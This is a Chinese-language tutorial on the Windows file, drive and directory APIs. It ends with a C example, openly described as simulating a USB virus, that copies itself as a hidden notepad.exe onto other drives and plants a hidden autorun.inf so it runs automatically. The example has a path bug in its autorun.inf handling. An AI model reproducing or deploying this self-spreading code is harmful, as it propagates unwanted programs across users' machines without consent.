Windows文件操作


在windows中有多種文件,圖片、視頻、音樂等等。此些文件皆存於磁盤上,只是存儲格式不同。此外,管道、郵槽,亦或是設備對象,於windows而言,皆為文件。

1. 文件的打開和關閉

與c,c++操作文件一樣,要操作文件,首先需要打開文件。文件打開成功后會返回一個可用於操作文件的句柄,通過此句柄便可對文件進行讀寫操作。

打開文件

HANDLE CreateFile(
	LPCTSTR lpFileName,
	DWORD dwDesiredAccess,
	DWORD dwShareMode,
	LPSECURITY_ATTRIBUTES lpSecurityAttributes,
	DWORD dwCreationDisposition,
	DWORD dwFlagsAndAttributes,
	HANDLE hTemplateFile
);
參數說明:
  • lpFileName:欲打開之文件名。
  • dwDesiredAccess:文件之訪問模式,指定了對打開對象進行何種操作。通常為:GENERIC_READGENERIC_WRITE,分別為只讀和只寫模式。
  • dwShareMode:共享模式,表示文件被打開后是否允許其它進程進行操作。若可操作,可指定其操作模式。
    |——FILE_SHARE_DELETE:表示隨后打開操作對象只有刪除訪問請求會成功。
    |——FILE_SHARE_READ:表示隨后打開操作對象只有請求讀訪問會成功。
    |——FILE_SHARE_WRITE:表示隨后打開操作對象只有請求寫訪問。
  • lpSecurityAttributes:安全屬性,可指定返回的文件句柄是否可被子線程繼承。若為NULL,表示無法被繼承,否則需將參數指向SECURITY_ATTRIBUTES的結構體。通常為NULL。
  • dwCreationDisposition:創建或打開的文件存在或不存在時該函數的處理方式。
    |——CREATE_NEW: 創建文件;如文件存在則會出錯。
    |——CREATE_ALWAYS: 創建文件,會改寫前一個文件。
    |——OPEN_EXISTING: 文件必須已經存在。由設備提出要求。
    |——OPEN_ALWAYS: 如文件不存在則創建它。
    |——TRUNCATE_EXISTING: 將現有文件縮短為零長度。
  • dwFlagsAndAttributes:指定新建文件的屬性和對文件操作的方式。
    |——FILE_ATTRIBUTE_ARCHIVE: 標記歸檔屬性。
    |——FILE_ATTRIBUTE_COMPRESSED: 將文件標記為已壓縮,或者標記為文件在目錄中的默認壓縮方式。
    |——FILE_ATTRIBUTE_NORMAL: 默認屬性。
    |——FILE_ATTRIBUTE_HIDDEN: 隱藏文件或目錄。
    |——FILE_ATTRIBUTE_READONLY: 文件為只讀。
    |——FILE_ATTRIBUTE_SYSTEM: 文件為系統文件。
    |——FILE_FLAG_OVERLAPPED: 允許對文件進行重疊操作。
  • hTemplateFile:文件模塊句柄,系統會copy該文件模板的所有屬性到當前創建的文件中。
Return Value:
  • succeed:返回一個文件句柄。
  • failed:返回INVALID_HANDLE_VALUE。

此函數既可打開文件,也可創建文件,在windows下也有一個OpenFile()函數,這是Win16的產物,在Win32下必須使用CreateFile()來打開文件。


文件操作完成后,需要關閉打開文件的句柄以釋放資源,函數如下:

BOOL CloseHandle(
	HANDLE hObject  //handle to object
);

該函數不僅可關閉文件句柄,還可關閉事件句柄、進程句柄、線程句柄等等對象句柄。


2.文件的基本操作

刪除文件

BOOL DeleteFile(
	LPCTSTR lpFileName
);

此函數只有一個參數,表示要刪除文件的名稱。


讀取文件

BOOL ReadFile(
	HANDLE hFile,                  //handle to file
	LPVOID lpBuffer,               //data buffer
	DWORD nNumberOfBytesToRead,    //number of bytes to read
	LPDWORD lpNumberOfBytesRead,   //number of bytes read
	LPOVERLAPPED lpOverlapped      //overlapped buffer
);
參數說明:
  • hFile:文件句柄,通常為CreateFile()返回的句柄。
  • lpBuffer:指向一個緩沖區,將從文件中讀出的數據保存在該緩沖區中。
  • nNumberOfBytesToRead:要求讀入的最小值,通常情況下是緩沖區的大小。
  • lpNumberOfBytesRead:指向一個DWORD變量,返用於返回讀入的字節數。
  • lpOverlapped:通常為NULL。

寫入文件

BOOL WriteFile(
	HANDLE hFile,                     //handle to file
	LPCVOID lpBuffer,                 //data buffer
	DWORD nNumberOfBytesToWrite,      //number of bytes to write
	LPDWORD lpNumberOfBytesWritten,   //number of bytes written
	LPOVERLAPPED lpOverlapped         //overlapped buffer
);

此函數和ReadFile()函數的參數意義基本相同,WriteFile()函數的第二個參數仍指向一個緩沖區,ReadFile()函數是將讀入的內容存入此中,而WriteFile()函數是將之中的內容進行寫入。

當用WriteFile()函數寫文件時,windows會將數據暫時保存在內部的高速緩存中,操作系統定時進行盤寫入,這樣就避免的頻繁的I/O操作,提高了效率。為了保證數據即時寫入,可以使用FlushFileBuffers()函數:

BOOL FlushFileBuffers(
	HANDLE hFile  //handle to file
);

此函數清空指定文件句柄的緩沖區,從而使Windows將緩沖區中的文件寫入磁盤。這里的句柄和WriteFile()與ReadFile()所使用的文件句柄相同。


設置文件指針

在進行文件讀取之時,往往需要讀取文件的某個部分,這便需對文件指針進行移動,從而正確讀寫。

移動文件指針函數為:

BOOL SetFilePointer(
	HANDLE hFile,                 //handle to file
	LONG lDistanceToMove,         //bytes to move pointer
	PLONG lpDistanceToMoveHigh,   //bytes to move pointer
	DWORD dwMoveMethod            //starting point
);
參數說明:
  • hFile:文件操作時的文件句柄。
  • lDistanceToMove:指定要移動文件指針的距離。
  • lpDistanceToMoveHigh:指向LONG型的指針,移動距離的高32位。常為NULL。
  • dwMoveMethod:指定移動的起始位置。可從文件開始處移動,也可從當前位置移動,亦能從文件的末尾開始移動。

拷貝文件

BOOL CopyFile(
  LPCTSTR lpExistingFileName,
                          // pointer to name of an existing file
  LPCTSTR lpNewFileName,  // pointer to filename to copy to
  BOOL bFailIfExists      // flag for operation if file exists
);
參數說明:
  • lpExistingFileName:指向要拷貝文件的名稱。
  • lpNewFileName:指向要拷貝的文件名稱
  • bFailIfExists:若目標文件已存在的處理標志。若為TRUE,則調用失敗;若為FALSE,則覆蓋原文件。

設置文件屬性

BOOL SetFileAttributes(
  LPCTSTR lpFileName,      // pointer to filename
  DWORD dwFileAttributes   // attributes to set
);

第一個參數是文件名稱,第二個參數是要設置的屬性,這些屬性是一些宏定義,以FILE_ATTRIBUTE_開頭。MSDN中描述如下

  • FILE_ATTRIBUTE_ARCHIVE: The file is an archive file. Applications use this attribute to mark files for backup or removal.
  • FILE_ATTRIBUTE_HIDDEN: The file is hidden. It is not included in an ordinary directory listing.
  • FILE_ATTRIBUTE_NORMAL: The file has no other attributes set. This attribute is valid only if used alone.
  • FILE_ATTRIBUTE_OFFLINE: The data of the file is not immediately available. Indicates that the file data has been physically moved to offline storage.
  • FILE_ATTRIBUTE_READONLY: The file is read-only. Applications can read the file but cannot write to it or delete it.
  • FILE_ATTRIBUTE_SYSTEM: The file is part of the operating system or is used exclusively by it.
  • FILE_ATTRIBUTE_TEMPORARY: The file is being used for temporary storage. File systems attempt to keep all of the data in memory for quicker access rather than flushing the data back to mass storage. A temporary file should be deleted by the application as soon as it is no longer needed.

3. 驅動器及目錄相關操作

獲取本地所有邏輯驅動器:

DWORD GetLogicalDriveStrings(
	DWORD nBufferLength,   //size of buffer
	LPTSTR lpBuffer        //drive strings buffer
);
參數說明:
  • nBufferLength:表示lpBuffer的長度。
  • lpBuffer:表示接收本地邏輯驅動器名的緩沖區。

該函數以字符串的形式返回本地所有可用的驅動器名保存在lpBuffer中。


獲取驅動器類型函數

UINT GetDriveType(
	LPCTSTR lpRootPathName  //root directory
);

lpRootPathName保存獲取的邏輯驅動器類型的驅動器名。函數的返回值為以下之一:

DRIVE_UNKONWN           無法識別此驅動器類型
DRIVE_NO_ROOT_DIR       無效的驅動器路徑
DRIVE_REMOVEABLE        可移動驅動器,如U盤、移動硬盤等
DRIVE_FIXED             不可移動驅動器,指硬盤
DRIVE_REMOTE            網絡驅動器
DRIVE_CDROM             光盤驅動器
DRIVE_RAMDISK           虛擬驅動器

獲取文件路徑

DWORD GetModuleFileName(
  HMODULE hModule,    // handle to module to find filename for
  LPTSTR lpFilename,  // pointer to buffer to receive module path
  DWORD nSize         // size of buffer, in characters
);

創建目錄的函數

BOOL CreateDirectory(
	LPCTSTR lpPathName,                         //directory name
	LPSECURITY_ATTRIBUTES lpSecurityAttributes  //SD
);
參數說明:
  • lpPathName:創建目錄的目錄名稱。
  • lpSecurityAttributes:安全屬性,常為NULL。

移除目錄的函數

BOOL RemoveDirectory(
	LPCTSTR lpPathName  //directory name
);

參數指定了要移除的目錄名。


4. 示例程序

該程序利用autorun.inf文件模擬U盤病毒,當該程序在U盤上時,它會將自己拷貝到所有磁盤目錄上,並生成autorun.inf文件,這兩個文件的屬性都被設置為隱藏。當該程序在磁盤上時,若有可移動磁盤,它將會做同樣操作到可移動磁盤上。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>

char szAutoRun[] = "[AutoRun] \
\r\nopen=notepad.exe \
\r\nshell\\open=打開(&O) \
\r\nshell\\open\\Command=notepad.exe \
\r\nshell\\explore=資源管理器(&X) \
\r\nshell\\explore\\Command=notepad.exe \
\r\nshellexecute=notepad.exe \
\r\nshell\\Auto\\Command=notepad.exe";

void infect(char *pszFile, UINT uDriverType)
{
	char szDriveString[MAXBYTE] = { 0 };
	DWORD dwRet = { 0 };
	DWORD iNum = 0;
	char szRoot[4] = { 0 };
	UINT uType = 0;
	char szTarget[MAX_PATH] = { 0 };

	dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
	while (iNum < dwRet) 
	{
		strncpy(szRoot, &szDriveString[iNum], 3);
		uType = GetDriveType(szRoot);

		if (uType == uDriverType)
		{
			lstrcpy(szTarget, szRoot);		     //將根目錄名稱copy到szTarget
			lstrcat(szTarget, "notepad.exe");    //szTarget為目標文件名:盤符:\notepad.exe
			CopyFile(pszFile, szTarget, FALSE);  //將原文件拷貝到szTarget

			//設置文件屬性為隱藏
			SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);

			//建立AutoRun.inf文件
			lstrcpy(szTarget, szRoot);
			lstrcpy(szTarget, "autorun.inf");
			HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE,
				0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 
				NULL);
			DWORD dwWritten = 0;
			WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
			CloseHandle(hFile);

			//隱藏autorun.inf文件
			SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
		}
		iNum += 4;  //開始操作下一個盤符
	}
}

int main()
{
	char szFileName[MAX_PATH] = { 0 };
	char szRoot[4] = { 0 };
	UINT uType = 0;

	GetModuleFileName(NULL, szFileName, MAX_PATH);  //獲取當前所在路徑和完整文件名
	strncpy(szRoot, szFileName, 3);                 //獲取所在盤符

	uType = GetDriveType(szRoot);

	switch (uType)
	{
	case DRIVE_FIXED:
		infect(szFileName, DRIVE_REMOVABLE);  //若在硬盤上,則檢查是否有可移動驅動器,有則拷貝
		break;
	case DRIVE_REMOVABLE:
		infect(szFileName, DRIVE_FIXED);  //若在可移動驅動器里,則拷貝到硬盤
		break;
	}

	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM